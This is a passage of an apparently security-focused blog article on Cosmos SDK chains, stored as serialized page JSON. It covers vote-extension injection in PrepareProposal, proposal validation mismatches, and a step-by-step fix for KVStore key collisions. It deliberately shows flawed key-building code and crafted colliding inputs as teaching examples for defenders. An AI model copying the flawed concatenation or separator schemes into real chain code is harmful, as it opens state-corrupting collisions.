},[85720],{"type":29,"value":83196},{"type":24,"tag":158,"props":85722,"children":85723},{"style":188},[85724],{"type":29,"value":191},{"type":24,"tag":158,"props":85726,"children":85727},{"style":177},[85728],{"type":29,"value":84917},{"type":24,"tag":158,"props":85730,"children":85731},{"class":160,"line":684},[85732],{"type":24,"tag":158,"props":85733,"children":85734},{"style":188},[85735],{"type":29,"value":60158},{"type":24,"tag":158,"props":85737,"children":85738},{"class":160,"line":700},[85739,85744,85748,85752,85756,85761,85765,85770,85774,85778,85782,85786],{"type":24,"tag":158,"props":85740,"children":85741},{"style":177},[85742],{"type":29,"value":85743}," injection",{"type":24,"tag":158,"props":85745,"children":85746},{"style":188},[85747],{"type":29,"value":191},{"type":24,"tag":158,"props":85749,"children":85750},{"style":177},[85751],{"type":29,"value":49691},{"type":24,"tag":158,"props":85753,"children":85754},{"style":222},[85755],{"type":29,"value":462},{"type":24,"tag":158,"props":85757,"children":85758},{"style":177},[85759],{"type":29,"value":85760}," json",{"type":24,"tag":158,"props":85762,"children":85763},{"style":188},[85764],{"type":29,"value":347},{"type":24,"tag":158,"props":85766,"children":85767},{"style":496},[85768],{"type":29,"value":85769},"Marshal",{"type":24,"tag":158,"props":85771,"children":85772},{"style":188},[85773],{"type":29,"value":504},{"type":24,"tag":158,"props":85775,"children":85776},{"style":177},[85777],{"type":29,"value":85427},{"type":24,"tag":158,"props":85779,"children":85780},{"style":188},[85781],{"type":29,"value":347},{"type":24,"tag":158,"props":85783,"children":85784},{"style":177},[85785],{"type":29,"value":85682},{"type":24,"tag":158,"props":85787,"children":85788},{"style":188},[85789],{"type":29,"value":2125},{"type":24,"tag":158,"props":85791,"children":85792},{"class":160,"line":785},[85793,85797,85801,85805,85809],{"type":24,"tag":158,"props":85794,"children":85795},{"style":1914},[85796],{"type":29,"value":60074},{"type":24,"tag":158,"props":85798,"children":85799},{"style":177},[85800],{"type":29,"value":49792},{"type":24,"tag":158,"props":85802,"children":85803},{"style":222},[85804],{"type":29,"value":65661},{"type":24,"tag":158,"props":85806,"children":85807},{"style":165},[85808],{"type":29,"value":83196},{"type":24,"tag":158,"props":85810,"children":85811},{"style":188},[85812],{"type":29,"value":210},{"type":24,"tag":158,"props":85814,"children":85815},{"class":160,"line":1447},[85816,85821,85825,85830,85834,85838,85842,85847,85851,85856,85860,85864],{"type":24,"tag":158,"props":85817,"children":85818},{"style":177},[85819],{"type":29,"value":85820}," h",{"type":24,"tag":158,"props":85822,"children":85823},{"style":188},[85824],{"type":29,"value":347},{"type":24,"tag":158,"props":85826,"children":85827},{"style":177},[85828],{"type":29,"value":85829},"logger",{"type":24,"tag":158,"props":85831,"children":85832},{"style":188},[85833],{"type":29,"value":347},{"type":24,"tag":158,"props":85835,"children":85836},{"style":496},[85837],{"type":29,"value":38662},{"type":24,"tag":158,"props":85839,"children":85840},{"style":188},[85841],{"type":29,"value":504},{"type":24,"tag":158,"props":85843,"children":85844},{"style":1108},[85845],{"type":29,"value":85846},"\"failed to marshal extended votes\"",{"type":24,"tag":158,"props":85848,"children":85849},{"style":188},[85850],{"type":29,"value":191},{"type":24,"tag":158,"props":85852,"children":85853},{"style":1108},[85854],{"type":29,"value":85855},"\"err\"",{"type":24,"tag":158,"props":85857,"children":85858},{"style":188},[85859],{"type":29,"value":191},{"type":24,"tag":158,"props":85861,"children":85862},{"style":177},[85863],{"type":29,"value":49691},{"type":24,"tag":158,"props":85865,"children":85866},{"style":188},[85867],{"type":29,"value":2125},{"type":24,"tag":158,"props":85869,"children":85870},{"class":160,"line":1509},[85871,85875,85879,85883],{"type":24,"tag":158,"props":85872,"children":85873},{"style":1914},[85874],{"type":29,"value":62002},{"type":24,"tag":158,"props":85876,"children":85877},{"style":165},[85878],{"type":29,"value":83196},{"type":24,"tag":158,"props":85880,"children":85881},{"style":188},[85882],{"type":29,"value":191},{"type":24,"tag":158,"props":85884,"children":85885},{"style":177},[85886],{"type":29,"value":84917},{"type":24,"tag":158,"props":85888,"children":85889},{"class":160,"line":1527},[85890],{"type":24,"tag":158,"props":85891,"children":85892},{"style":188},[85893],{"type":29,"value":60158},{"type":24,"tag":158,"props":85895,"children":85896},{"class":160,"line":1545},[85897],{"type":24,"tag":158,"props":85898,"children":85899},{"style":222},[85900],{"type":29,"value":83796},{"type":24,"tag":158,"props":85902,"children":85903},{"class":160,"line":1618},[85904],{"type":24,"tag":158,"props":85905,"children":85906},{"style":188},[85907],{"type":29,"value":5010},{"type":24,"tag":158,"props":85909,"children":85910},{"class":160,"line":1635},[85911,85916,85920,85924,85928,85933,85937,85942,85946,85950,85954,85958],{"type":24,"tag":158,"props":85912,"children":85913},{"style":177},[85914],{"type":29,"value":85915}," defaultRes",{"type":24,"tag":158,"props":85917,"children":85918},{"style":188},[85919],{"type":29,"value":191},{"type":24,"tag":158,"props":85921,"children":85922},{"style":177},[85923],{"type":29,"value":49691},{"type":24,"tag":158,"props":85925,"children":85926},{"style":222},[85927],{"type":29,"value":77694},{"type":24,"tag":158,"props":85929,"children":85930},{"style":177},[85931],{"type":29,"value":85932}," h",{"type":24,"tag":158,"props":85934,"children":85935},{"style":188},[85936],{"type":29,"value":347},{"type":24,"tag":158,"props":85938,"children":85939},{"style":496},[85940],{"type":29,"value":85941},"defaultPrepareProposal",{"type":24,"tag":158,"props":85943,"children":85944},{"style":188},[85945],{"type":29,"value":504},{"type":24,"tag":158,"props":85947,"children":85948},{"style":177},[85949],{"type":29,"value":21524},{"type":24,"tag":158,"props":85951,"children":85952},{"style":188},[85953],{"type":29,"value":191},{"type":24,"tag":158,"props":85955,"children":85956},{"style":177},[85957],{"type":29,"value":85427},{"type":24,"tag":158,"props":85959,"children":85960},{"style":188},[85961],{"type":29,"value":2125},{"type":24,"tag":158,"props":85963,"children":85964},{"class":160,"line":1644},[85965],{"type":24,"tag":158,"props":85966,"children":85967},{"style":222},[85968],{"type":29,"value":83120},{"type":24,"tag":158,"props":85970,"children":85971},{"class":160,"line":1652},[85972,85977,85981,85986,85990],{"type":24,"tag":158,"props":85973,"children":85974},{"style":177},[85975],{"type":29,"value":85976}," proposalTxs",{"type":24,"tag":158,"props":85978,"children":85979},{"style":222},[85980],{"type":29,"value":77694},{"type":24,"tag":158,"props":85982,"children":85983},{"style":177},[85984],{"type":29,"value":85985}," defaultRes",{"type":24,"tag":158,"props":85987,"children":85988},{"style":188},[85989],{"type":29,"value":347},{"type":24,"tag":158,"props":85991,"children":85992},{"style":177},[85993],{"type":29,"value":85994},"Txs\n",{"type":24,"tag":158,"props":85996,"children":85997},{"class":160,"line":1704},[85998,86002,86006,86010,86014],{"type":24,"tag":158,"props":85999,"children":86000},{"style":1914},[86001],{"type":29,"value":4936},{"type":24,"tag":158,"props":86003,"children":86004},{"style":177},[86005],{"type":29,"value":85497},{"type":24,"tag":158,"props":86007,"children":86008},{"style":222},[86009],{"type":29,"value":65661},{"type":24,"tag":158,"props":86011,"children":86012},{"style":165},[86013],{"type":29,"value":83196},{"type":24,"tag":158,"props":86015,"children":86016},{"style":188},[86017],{"type":29,"value":210},{"type":24,"tag":158,"props":86019,"children":86020},{"class":160,"line":1713},[86021,86026,86030,86034,86039,86044,86048,86053,86057,86062,86066],{"type":24,"tag":158,"props":86022,"children":86023},{"style":177},[86024],{"type":29,"value":86025}," proposalTxs",{"type":24,"tag":158,"props":86027,"children":86028},{"style":222},[86029],{"type":29,"value":462},{"type":24,"tag":158,"props":86031,"children":86032},{"style":496},[86033],{"type":29,"value":78974},{"type":24,"tag":158,"props":86035,"children":86036},{"style":188},[86037],{"type":29,"value":86038},"([][]",{"type":24,"tag":158,"props":86040,"children":86041},{"style":171},[86042],{"type":29,"value":86043},"byte",{"type":24,"tag":158,"props":86045,"children":86046},{"style":188},[86047],{"type":29,"value":77896},{"type":24,"tag":158,"props":86049,"children":86050},{"style":177},[86051],{"type":29,"value":86052},"injection",{"type":24,"tag":158,"props":86054,"children":86055},{"style":188},[86056],{"type":29,"value":77915},{"type":24,"tag":158,"props":86058,"children":86059},{"style":177},[86060],{"type":29,"value":86061},"proposalTxs",{"type":24,"tag":158,"props":86063,"children":86064},{"style":222},[86065],{"type":29,"value":377},{"type":24,"tag":158,"props":86067,"children":86068},{"style":188},[86069],{"type":29,"value":2125},{"type":24,"tag":158,"props":86071,"children":86072},{"class":160,"line":1731},[86073,86078,86082,86086,86090,86094,86098,86103,86107,86112,86116,86120,86124,86128],{"type":24,"tag":158,"props":86074,"children":86075},{"style":177},[86076],{"type":29,"value":86077}," h",{"type":24,"tag":158,"props":86079,"children":86080},{"style":188},[86081],{"type":29,"value":347},{"type":24,"tag":158,"props":86083,"children":86084},{"style":177},[86085],{"type":29,"value":85829},{"type":24,"tag":158,"props":86087,"children":86088},{"style":188},[86089],{"type":29,"value":347},{"type":24,"tag":158,"props":86091,"children":86092},{"style":496},[86093],{"type":29,"value":25967},{"type":24,"tag":158,"props":86095,"children":86096},{"style":188},[86097],{"type":29,"value":504},{"type":24,"tag":158,"props":86099,"children":86100},{"style":1108},[86101],{"type":29,"value":86102},"\"injected local last commit\"",{"type":24,"tag":158,"props":86104,"children":86105},{"style":188},[86106],{"type":29,"value":191},{"type":24,"tag":158,"props":86108,"children":86109},{"style":1108},[86110],{"type":29,"value":86111},"\"height\"",{"type":24,"tag":158,"props":86113,"children":86114},{"style":188},[86115],{"type":29,"value":191},{"type":24,"tag":158,"props":86117,"children":86118},{"style":177},[86119],{"type":29,"value":85427},{"type":24,"tag":158,"props":86121,"children":86122},{"style":188},[86123],{"type":29,"value":347},{"type":24,"tag":158,"props":86125,"children":86126},{"style":177},[86127],{"type":29,"value":84757},{"type":24,"tag":158,"props":86129,"children":86130},{"style":188},[86131],{"type":29,"value":2125},{"type":24,"tag":158,"props":86133,"children":86134},{"class":160,"line":5485},[86135],{"type":24,"tag":158,"props":86136,"children":86137},{"style":188},[86138],{"type":29,"value":5010},{"type":24,"tag":158,"props":86140,"children":86141},{"class":160,"line":5493},[86142,86146,86150,86154,86158,86162],{"type":24,"tag":158,"props":86143,"children":86144},{"style":1914},[86145],{"type":29,"value":16980},{"type":24,"tag":158,"props":86147,"children":86148},{"style":222},[86149],{"type":29,"value":8784},{"type":24,"tag":158,"props":86151,"children":86152},{"style":171},[86153],{"type":29,"value":85436},{"type":24,"tag":158,"props":86155,"children":86156},{"style":188},[86157],{"type":29,"value":347},{"type":24,"tag":158,"props":86159,"children":86160},{"style":171},[86161],{"type":29,"value":85466},{"type":24,"tag":158,"props":86163,"children":86164},{"style":188},[86165],{"type":29,"value":1710},{"type":24,"tag":158,"props":86167,"children":86168},{"class":160,"line":5553},[86169,86174,86178,86182],{"type":24,"tag":158,"props":86170,"children":86171},{"style":177},[86172],{"type":29,"value":86173}," Txs",{"type":24,"tag":158,"props":86175,"children":86176},{"style":188},[86177],{"type":29,"value":16566},{"type":24,"tag":158,"props":86179,"children":86180},{"style":177},[86181],{"type":29,"value":86061},{"type":24,"tag":158,"props":86183,"children":86184},{"style":188},[86185],{"type":29,"value":235},{"type":24,"tag":158,"props":86187,"children":86188},{"class":160,"line":10636},[86189,86194],{"type":24,"tag":158,"props":86190,"children":86191},{"style":188},[86192],{"type":29,"value":86193}," }, ",{"type":24,"tag":158,"props":86195,"children":86196},{"style":165},[86197],{"type":29,"value":77920},{"type":24,"tag":158,"props":86199,"children":86200},{"class":160,"line":10652},[86201],{"type":24,"tag":158,"props":86202,"children":86203},{"style":188},[86204],{"type":29,"value":3967},{"type":24,"tag":158,"props":86206,"children":86207},{"class":160,"line":10696},[86208],{"type":24,"tag":158,"props":86209,"children":86210},{"style":188},[86211],{"type":29,"value":307},{"type":24,"tag":25,"props":86213,"children":86214},{},[86215,86217,86222,86223,86228,86230,86237],{"type":29,"value":86216},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":24,"tag":154,"props":86218,"children":86220},{"className":86219},[],[86221],{"type":29,"value":84586},{"type":29,"value":2262},{"type":24,"tag":154,"props":86224,"children":86226},{"className":86225},[],[86227],{"type":29,"value":84654},{"type":29,"value":86229},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":24,"tag":101,"props":86231,"children":86234},{"href":86232,"rel":86233},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[105],[86235],{"type":29,"value":86236},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":29,"value":86238},", which will later get rejected by CometBTF.",{"type":24,"tag":59,"props":86240,"children":86242},{"id":86241},"the-keymaker",[86243],{"type":29,"value":86244},"The Keymaker",{"type":24,"tag":25,"props":86246,"children":86247},{},[86248,86250,86256,86258,86263],{"type":29,"value":86249},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":24,"tag":154,"props":86251,"children":86253},{"className":86252},[],[86254],{"type":29,"value":86255},"KVStore",{"type":29,"value":86257}," to handle states efficently. In ",{"type":24,"tag":154,"props":86259,"children":86261},{"className":86260},[],[86262],{"type":29,"value":86255},{"type":29,"value":86264},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":24,"tag":25,"props":86266,"children":86267},{},[86268],{"type":29,"value":86269},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":24,"tag":25,"props":86271,"children":86272},{},[86273,86275,86281],{"type":29,"value":86274},"Let's start by considering a scenario where we need to store the ",{"type":24,"tag":154,"props":86276,"children":86278},{"className":86277},[],[86279],{"type":29,"value":86280},"positionMap",{"type":29,"value":86282}," structure mentioned below into storage.",{"type":24,"tag":147,"props":86284,"children":86286},{"code":86285,"language":77442,"meta":7,"className":77443,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[86287],{"type":24,"tag":154,"props":86288,"children":86289},{"__ignoreMap":7},[86290,86306,86323,86339,86358,86373,86380,86397],{"type":24,"tag":158,"props":86291,"children":86292},{"class":160,"line":161},[86293,86297,86302],{"type":24,"tag":158,"props":86294,"children":86295},{"style":165},[86296],{"type":29,"value":34018},{"type":24,"tag":158,"props":86298,"children":86299},{"style":171},[86300],{"type":29,"value":86301}," VaultId",{"type":24,"tag":158,"props":86303,"children":86304},{"style":171},[86305],{"type":29,"value":77480},{"type":24,"tag":158,"props":86307,"children":86308},{"class":160,"line":213},[86309,86313,86318],{"type":24,"tag":158,"props":86310,"children":86311},{"style":165},[86312],{"type":29,"value":34018},{"type":24,"tag":158,"props":86314,"children":86315},{"style":171},[86316],{"type":29,"value":86317}," Username",{"type":24,"tag":158,"props":86319,"children":86320},{"style":171},[86321],{"type":29,"value":86322}," string\n",{"type":24,"tag":158,"props":86324,"children":86325},{"class":160,"line":238},[86326,86330,86335],{"type":24,"tag":158,"props":86327,"children":86328},{"style":165},[86329],{"type":29,"value":34018},{"type":24,"tag":158,"props":86331,"children":86332},{"style":171},[86333],{"type":29,"value":86334}," PositionName",{"type":24,"tag":158,"props":86336,"children":86337},{"style":171},[86338],{"type":29,"value":86322},{"type":24,"tag":158,"props":86340,"children":86341},{"class":160,"line":259},[86342,86346,86350,86354],{"type":24,"tag":158,"props":86343,"children":86344},{"style":165},[86345],{"type":29,"value":34018},{"type":24,"tag":158,"props":86347,"children":86348},{"style":171},[86349],{"type":29,"value":9066},{"type":24,"tag":158,"props":86351,"children":86352},{"style":165},[86353],{"type":29,"value":22395},{"type":24,"tag":158,"props":86355,"children":86356},{"style":188},[86357],{"type":29,"value":210},{"type":24,"tag":158,"props":86359,"children":86360},{"class":160,"line":280},[86361,86365,86369],{"type":24,"tag":158,"props":86362,"children":86363},{"style":177},[86364],{"type":29,"value":44498},{"type":24,"tag":158,"props":86366,"children":86367},{"style":188},[86368],{"type":29,"value":77505},{"type":24,"tag":158,"props":86370,"children":86371},{"style":171},[86372],{"type":29,"value":85506},{"type":24,"tag":158,"props":86374,"children":86375},{"class":160,"line":301},[86376],{"type":24,"tag":158,"props":86377,"children":86378},{"style":188},[86379],{"type":29,"value":307},{"type":24,"tag":158,"props":86381,"children":86382},{"class":160,"line":626},[86383,86387,86392],{"type":24,"tag":158,"props":86384,"children":86385},{"style":165},[86386],{"type":29,"value":34018},{"type":24,"tag":158,"props":86388,"children":86389},{"style":171},[86390],{"type":29,"value":86391}," PositionMap",{"type":24,"tag":158,"props":86393,"children":86394},{"style":222},[86395],{"type":29,"value":86396}," :=\n",{"type":24,"tag":158,"props":86398,"children":86399},{"class":160,"line":668},[86400,86405,86409,86414,86418,86422,86426,86431,86435,86439,86443,86448,86452],{"type":24,"tag":158,"props":86401,"children":86402},{"style":165},[86403],{"type":29,"value":86404}," map",{"type":24,"tag":158,"props":86406,"children":86407},{"style":188},[86408],{"type":29,"value":2048},{"type":24,"tag":158,"props":86410,"children":86411},{"style":171},[86412],{"type":29,"value":86413},"VaultId",{"type":24,"tag":158,"props":86415,"children":86416},{"style":188},[86417],{"type":29,"value":16646},{"type":24,"tag":158,"props":86419,"children":86420},{"style":165},[86421],{"type":29,"value":68377},{"type":24,"tag":158,"props":86423,"children":86424},{"style":188},[86425],{"type":29,"value":2048},{"type":24,"tag":158,"props":86427,"children":86428},{"style":171},[86429],{"type":29,"value":86430},"Username",{"type":24,"tag":158,"props":86432,"children":86433},{"style":188},[86434],{"type":29,"value":16646},{"type":24,"tag":158,"props":86436,"children":86437},{"style":165},[86438],{"type":29,"value":68377},{"type":24,"tag":158,"props":86440,"children":86441},{"style":188},[86442],{"type":29,"value":2048},{"type":24,"tag":158,"props":86444,"children":86445},{"style":171},[86446],{"type":29,"value":86447},"PositionName",{"type":24,"tag":158,"props":86449,"children":86450},{"style":188},[86451],{"type":29,"value":16646},{"type":24,"tag":158,"props":86453,"children":86454},{"style":171},[86455],{"type":29,"value":86456},"Position\n",{"type":24,"tag":25,"props":86458,"children":86459},{},[86460,86462,86468],{"type":29,"value":86461},"Given that there are two levels of keys in ",{"type":24,"tag":154,"props":86463,"children":86465},{"className":86464},[],[86466],{"type":29,"value":86467},"PositionMap",{"type":29,"value":86469},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":24,"tag":147,"props":86471,"children":86473},{"code":86472,"language":77442,"meta":7,"className":77443,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[86474],{"type":24,"tag":154,"props":86475,"children":86476},{"__ignoreMap":7},[86477,86506,86518,86530,86542,86554],{"type":24,"tag":158,"props":86478,"children":86479},{"class":160,"line":161},[86480,86485,86489,86493,86497,86502],{"type":24,"tag":158,"props":86481,"children":86482},{"style":177},[86483],{"type":29,"value":86484},"storageKey",{"type":24,"tag":158,"props":86486,"children":86487},{"style":222},[86488],{"type":29,"value":77694},{"type":24,"tag":158,"props":86490,"children":86491},{"style":177},[86492],{"type":29,"value":83512},{"type":24,"tag":158,"props":86494,"children":86495},{"style":188},[86496],{"type":29,"value":347},{"type":24,"tag":158,"props":86498,"children":86499},{"style":496},[86500],{"type":29,"value":86501},"Sprintf",{"type":24,"tag":158,"props":86503,"children":86504},{"style":188},[86505],{"type":29,"value":2156},{"type":24,"tag":158,"props":86507,"children":86508},{"class":160,"line":213},[86509,86514],{"type":24,"tag":158,"props":86510,"children":86511},{"style":1108},[86512],{"type":29,"value":86513}," \"%d%s%s\"",{"type":24,"tag":158,"props":86515,"children":86516},{"style":188},[86517],{"type":29,"value":235},{"type":24,"tag":158,"props":86519,"children":86520},{"class":160,"line":238},[86521,86526],{"type":24,"tag":158,"props":86522,"children":86523},{"style":177},[86524],{"type":29,"value":86525}," vaultId",{"type":24,"tag":158,"props":86527,"children":86528},{"style":188},[86529],{"type":29,"value":235},{"type":24,"tag":158,"props":86531,"children":86532},{"class":160,"line":259},[86533,86538],{"type":24,"tag":158,"props":86534,"children":86535},{"style":177},[86536],{"type":29,"value":86537}," username",{"type":24,"tag":158,"props":86539,"children":86540},{"style":188},[86541],{"type":29,"value":235},{"type":24,"tag":158,"props":86543,"children":86544},{"class":160,"line":280},[86545,86550],{"type":24,"tag":158,"props":86546,"children":86547},{"style":177},[86548],{"type":29,"value":86549}," positionName",{"type":24,"tag":158,"props":86551,"children":86552},{"style":188},[86553],{"type":29,"value":235},{"type":24,"tag":158,"props":86555,"children":86556},{"class":160,"line":301},[86557],{"type":24,"tag":158,"props":86558,"children":86559},{"style":188},[86560],{"type":29,"value":2125},{"type":24,"tag":25,"props":86562,"children":86563},{},[86564],{"type":29,"value":86565},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":24,"tag":147,"props":86567,"children":86569},{"code":86568},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[86570],{"type":24,"tag":154,"props":86571,"children":86572},{"__ignoreMap":7},[86573],{"type":29,"value":86568},{"type":24,"tag":25,"props":86575,"children":86576},{},[86577,86582],{"type":24,"tag":32,"props":86578,"children":86579},{},[86580],{"type":29,"value":86581},"So, how can we mitigate this issue?",{"type":29,"value":86583},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":24,"tag":147,"props":86585,"children":86587},{"code":86586,"language":77442,"meta":7,"className":77443,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[86588],{"type":24,"tag":154,"props":86589,"children":86590},{"__ignoreMap":7},[86591,86602,86619,86626,86633,86660,86672,86683,86694,86705,86716,86727],{"type":24,"tag":158,"props":86592,"children":86593},{"class":160,"line":161},[86594,86598],{"type":24,"tag":158,"props":86595,"children":86596},{"style":165},[86597],{"type":29,"value":443},{"type":24,"tag":158,"props":86599,"children":86600},{"style":188},[86601],{"type":29,"value":79844},{"type":24,"tag":158,"props":86603,"children":86604},{"class":160,"line":213},[86605,86610,86614],{"type":24,"tag":158,"props":86606,"children":86607},{"style":177},[86608],{"type":29,"value":86609}," Seperator",{"type":24,"tag":158,"props":86611,"children":86612},{"style":222},[86613],{"type":29,"value":462},{"type":24,"tag":158,"props":86615,"children":86616},{"style":1108},[86617],{"type":29,"value":86618}," \"|\"\n",{"type":24,"tag":158,"props":86620,"children":86621},{"class":160,"line":238},[86622],{"type":24,"tag":158,"props":86623,"children":86624},{"style":188},[86625],{"type":29,"value":2125},{"type":24,"tag":158,"props":86627,"children":86628},{"class":160,"line":259},[86629],{"type":24,"tag":158,"props":86630,"children":86631},{"emptyLinePlaceholder":16},[86632],{"type":29,"value":481},{"type":24,"tag":158,"props":86634,"children":86635},{"class":160,"line":280},[86636,86640,86644,86648,86652,86656],{"type":24,"tag":158,"props":86637,"children":86638},{"style":177},[86639],{"type":29,"value":86484},{"type":24,"tag":158,"props":86641,"children":86642},{"style":222},[86643],{"type":29,"value":77694},{"type":24,"tag":158,"props":86645,"children":86646},{"style":177},[86647],{"type":29,"value":83512},{"type":24,"tag":158,"props":86649,"children":86650},{"style":188},[86651],{"type":29,"value":347},{"type":24,"tag":158,"props":86653,"children":86654},{"style":496},[86655],{"type":29,"value":86501},{"type":24,"tag":158,"props":86657,"children":86658},{"style":188},[86659],{"type":29,"value":2156},{"type":24,"tag":158,"props":86661,"children":86662},{"class":160,"line":301},[86663,86668],{"type":24,"tag":158,"props":86664,"children":86665},{"style":1108},[86666],{"type":29,"value":86667}," \"%d%s%s%s%s\"",{"type":24,"tag":158,"props":86669,"children":86670},{"style":188},[86671],{"type":29,"value":235},{"type":24,"tag":158,"props":86673,"children":86674},{"class":160,"line":626},[86675,86679],{"type":24,"tag":158,"props":86676,"children":86677},{"style":177},[86678],{"type":29,"value":86525},{"type":24,"tag":158,"props":86680,"children":86681},{"style":188},[86682],{"type":29,"value":235},{"type":24,"tag":158,"props":86684,"children":86685},{"class":160,"line":668},[86686,86690],{"type":24,"tag":158,"props":86687,"children":86688},{"style":177},[86689],{"type":29,"value":86609},{"type":24,"tag":158,"props":86691,"children":86692},{"style":188},[86693],{"type":29,"value":235},{"type":24,"tag":158,"props":86695,"children":86696},{"class":160,"line":676},[86697,86701],{"type":24,"tag":158,"props":86698,"children":86699},{"style":177},[86700],{"type":29,"value":86537},{"type":24,"tag":158,"props":86702,"children":86703},{"style":188},[86704],{"type":29,"value":235},{"type":24,"tag":158,"props":86706,"children":86707},{"class":160,"line":684},[86708,86712],{"type":24,"tag":158,"props":86709,"children":86710},{"style":177},[86711],{"type":29,"value":86609},{"type":24,"tag":158,"props":86713,"children":86714},{"style":188},[86715],{"type":29,"value":235},{"type":24,"tag":158,"props":86717,"children":86718},{"class":160,"line":700},[86719,86723],{"type":24,"tag":158,"props":86720,"children":86721},{"style":177},[86722],{"type":29,"value":86549},{"type":24,"tag":158,"props":86724,"children":86725},{"style":188},[86726],{"type":29,"value":235},{"type":24,"tag":158,"props":86728,"children":86729},{"class":160,"line":785},[86730],{"type":24,"tag":158,"props":86731,"children":86732},{"style":188},[86733],{"type":29,"value":2125},{"type":24,"tag":25,"props":86735,"children":86736},{},[86737],{"type":29,"value":86738},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":24,"tag":25,"props":86740,"children":86741},{},[86742,86744,86750,86751,86757],{"type":29,"value":86743},"Sadly, it doesn't. Since the ",{"type":24,"tag":154,"props":86745,"children":86747},{"className":86746},[],[86748],{"type":29,"value":86749},"username",{"type":29,"value":1826},{"type":24,"tag":154,"props":86752,"children":86754},{"className":86753},[],[86755],{"type":29,"value":86756},"vaultName",{"type":29,"value":86758}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":24,"tag":147,"props":86760,"children":86762},{"code":86761},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[86763],{"type":24,"tag":154,"props":86764,"children":86765},{"__ignoreMap":7},[86766],{"type":29,"value":86761},{"type":24,"tag":25,"props":86768,"children":86769},{},[86770],{"type":29,"value":86771},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":24,"tag":147,"props":86773,"children":86775},{"code":86774,"language":77442,"meta":7,"className":77443,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[86776],{"type":24,"tag":154,"props":86777,"children":86778},{"__ignoreMap":7},[86779,86790,86805,86812,86819,86826,86847,86863,86901,86908,86945,86952,86972,86987,87023,87030,87065,87072,87099,87110,87121,87132,87144,87155,87163],{"type":24,"tag":158,"props":86780,"children":86781},{"class":160,"line":161},[86782,86786],{"type":24,"tag":158,"props":86783,"children":86784},{"style":165},[86785],{"type":29,"value":443},{"type":24,"tag":158,"props":86787,"children":86788},{"style":188},[86789],{"type":29,"value":79844},{"type":24,"tag":158,"props":86791,"children":86792},{"class":160,"line":213},[86793,86797,86801],{"type":24,"tag":158,"props":86794,"children":86795},{"style":177},[86796],{"type":29,"value":86609},{"type":24,"tag":158,"props":86798,"children":86799},{"style":222},[86800],{"type":29,"value":462},{"type":24,"tag":158,"props":86802,"children":86803},{"style":1108},[86804],{"type":29,"value":86618},{"type":24,"tag":158,"props":86806,"children":86807},{"class":160,"line":238},[86808],{"type":24,"tag":158,"props":86809,"children":86810},{"style":188},[86811],{"type":29,"value":2125},{"type":24,"tag":158,"props":86813,"children":86814},{"class":160,"line":259},[86815],{"type":24,"tag":158,"props":86816,"children":86817},{"emptyLinePlaceholder":16},[86818],{"type":29,"value":481},{"type":24,"tag":158,"props":86820,"children":86821},{"class":160,"line":280},[86822],{"type":24,"tag":158,"props":86823,"children":86824},{"emptyLinePlaceholder":16},[86825],{"type":29,"value":481},{"type":24,"tag":158,"props":86827,"children":86828},{"class":160,"line":301},[86829,86834,86838,86843],{"type":24,"tag":158,"props":86830,"children":86831},{"style":177},[86832],{"type":29,"value":86833},"usernameEncoded",{"type":24,"tag":158,"props":86835,"children":86836},{"style":222},[86837],{"type":29,"value":77694},{"type":24,"tag":158,"props":86839,"children":86840},{"style":496},[86841],{"type":29,"value":86842}," make",{"type":24,"tag":158,"props":86844,"children":86845},{"style":188},[86846],{"type":29,"value":2156},{"type":24,"tag":158,"props":86848,"children":86849},{"class":160,"line":626},[86850,86855,86859],{"type":24,"tag":158,"props":86851,"children":86852},{"style":188},[86853],{"type":29,"value":86854}," []",{"type":24,"tag":158,"props":86856,"children":86857},{"style":171},[86858],{"type":29,"value":86043},{"type":24,"tag":158,"props":86860,"children":86861},{"style":188},[86862],{"type":29,"value":235},{"type":24,"tag":158,"props":86864,"children":86865},{"class":160,"line":668},[86866,86871,86875,86880,86884,86888,86892,86896],{"type":24,"tag":158,"props":86867,"children":86868},{"style":177},[86869],{"type":29,"value":86870}," 